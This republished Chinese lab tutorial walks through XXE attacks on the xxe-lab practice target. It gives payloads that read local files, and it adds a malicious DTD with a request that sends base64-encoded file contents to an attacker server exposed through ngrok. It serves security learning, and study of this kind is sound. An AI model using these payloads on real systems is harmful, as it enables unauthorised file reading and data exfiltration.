专栏首页山丘安全攻防实验室技术分析|XXE环境搭建及实战 包含有回显无回显操作

技术分析|XXE环境搭建及实战 包含有回显无回显操作

文章说明:

文章为山丘安全攻防实验室成员:O8原创

文章仅用于攻防技术学习,请勿用于非法用途

靶机环境

靶机地址:https://github.com/c0ny1/xxe-lab
搭建平台:VM、windows7、xampp
靶机IP:192.168.0.133

搭建说明:安装xampp后,htdocs目录放入靶机项目,然后开启apache、mysql访问即可

访问 http://192.168.0.133:8081/php_xxe/ (注意我这里是改了端口的)

攻击机环境

IP:192.168.0.165
操作系统:windows10
本次实验用到的工具:BurpSite、tomcat7、ngrok

有回显漏洞利用

攻击流程

实战

访问 http://192.168.0.133:8081/php_xxe/ 随意输入帐户名密码进行抓包

头部信息:Accept: application/xml, text/xml, */*;

尝试解析xxe

POC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
  <!ENTITY xxe "Hacking">
]>
<user><username>&xxe;</username><password>123123</password></user>

代码被解析,尝试任意文件读取

POC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "file:///c:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123123</password></user>

文件被正常读取 总结:攻击用到了file协议进行文件读取

不回显漏洞信息外带利用

攻击流程

环境搭建

有外网服务器的同学忽略这一步

不(我)想(没)用(有)外部服务器,就自己在攻击机上面搭建一个服务器,用于接收数据

说明:需要一个客户端转发内网地址到外网,从而实现穷屌接收数据的伟大梦想

环境:

tomcat7、ngrok、假设没有回显
在ngrok注册一个账号:https://www.ngrok.cc/
创建免费ngrok的http服务

注册成功后选择开通隧道–免费中国香港主机

选择http协议、隧道名称和前置域名填你自己的就行了

然后点击隧道管理,需要记录的是隧道ID和赠送域名

客户端下载地址:https://www.ngrok.cc/download.html

根据你的操作系统选择对应的客户端。

本地搭建tomcat服务器

下载tomcat、然后修改/conf/server.xml

 <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
           prefix="localhost_access_log." suffix=".txt"
           pattern='%h %p %H %l %u %t "%r" params={%{post}r} %s %bbytes %Dms' />

修改你在创建ngrok时的端口(tomcat默认80)

port="8998" 是我自己修改的http端口

    <Connector port="8998" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />

启动tomcat ./bin/startup.bat

ngrok运行

运行 Sunny-Ngrok启动工具.bat 然后填入刚开始记录的隧道id,点击回车

访问你自己的域名,出现tomcat说明环境搭建好了

实战演示

恶意DTD以及POC编写

第一步: 攻击者服务器建立O8.dtd并放入tomcat \webapps\ROOT\中

POC:

<!ENTITY % all 
  "<!ENTITY &#x25; send SYSTEM 'http://o8.free.idcfengye.com/?%file;'>"
>
%all;

第二步:攻击机中发送恶意XXE代码到攻击者服务器

POC:

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
  <!ENTITY % dtd SYSTEM "http://o8.free.idcfengye.com/O8.dtd">
%dtd;
%send;
]>

实现效果

攻击者服务器tomcat运行着O8.dtd

抓包发送恶意XXE代码

攻击者服务器收到请求并将外带读取数据写入log文件

将带过来数据bash64解密

参考文献

https://mp.weixin.qq.com/s/VWofHp5lJLYnbw01copnkw

https://www.freebuf.com/vuls/194112.html

https://cloud.tencent.com/developer/article/1472487

https://www.secpulse.com/archives/850.html

https://www.secpulse.com/archives/6392.html

https://www.secpulse.com/archives/6256.html

本文分享自微信公众号 - 山丘安全攻防实验室(hillsec),作者:O8

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-08-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 密码重置漏洞骚思路分享(实战)

    昨天在挖edu的时候发现某高校有一个门户登录的页面 然后也是琢磨了半天想到个密码重置的骚操作 复现过程: 打开网页,这里有个忘记密码,点进去

    陈殷
  • 《中华人民共和国网络安全法》解读

    陈殷
  • HackerOne所有资产整理(附爬行脚本)

    白帽子一天挖几个小时漏洞打组合拳,国内某些src也只是给20块钱草草了事,国外一个反射型XSS都能拿到300美金。

    陈殷
  • 大型POS机系统全球僵尸网络

    安全研究人员发现一个全球范围网络犯罪活动,其中感染了36个国家的1500个POS(销售点)中断、会计系统和其他零售后台平台。这些受感染的系统组...

    安恒信息
  • 驭象者之Apache Oozie

    我是攻城师
  • 【Rust日报】 2019-08-14:在Facebook上反复出现的 C++ bug

    Repo: https://github.com/sivadeilra/vec_option

    MikeLoveRust
  • Java泛型中E、T、K、V等的含义

    Object跟这些标记符代表的java类型有啥区别呢? Object是所有类的根类,任何类的对象都可以设置给该Object引用变量,使用的时候可能需要类型...

    王念博客
  • Linux 系统下用源码包安装软件

    下载源码安装包,解压或者直接双击打开(如果有安装zip或rar等压缩/解压缩软件的话),查找相关的安装说明文件,一般是README,INSTALL这两个文件,...

    授客
  • Prometheus 与 Grafana 集成

    Grafana 是一个可视化仪表盘,它拥有美观的图标和布局展示,功能齐全的仪表盘和图形编辑器,默认支持 CloudWatch、Graphite、Elastics...

    程序员果果
  • 教你快速安装OpenShift容器平台3.6

    自OpenShift容器平台(OCP)发布以来,我一直希望提供一个简单、完整且易用的安装教程。

    後來

扫码关注云+社区

领取腾讯云代金券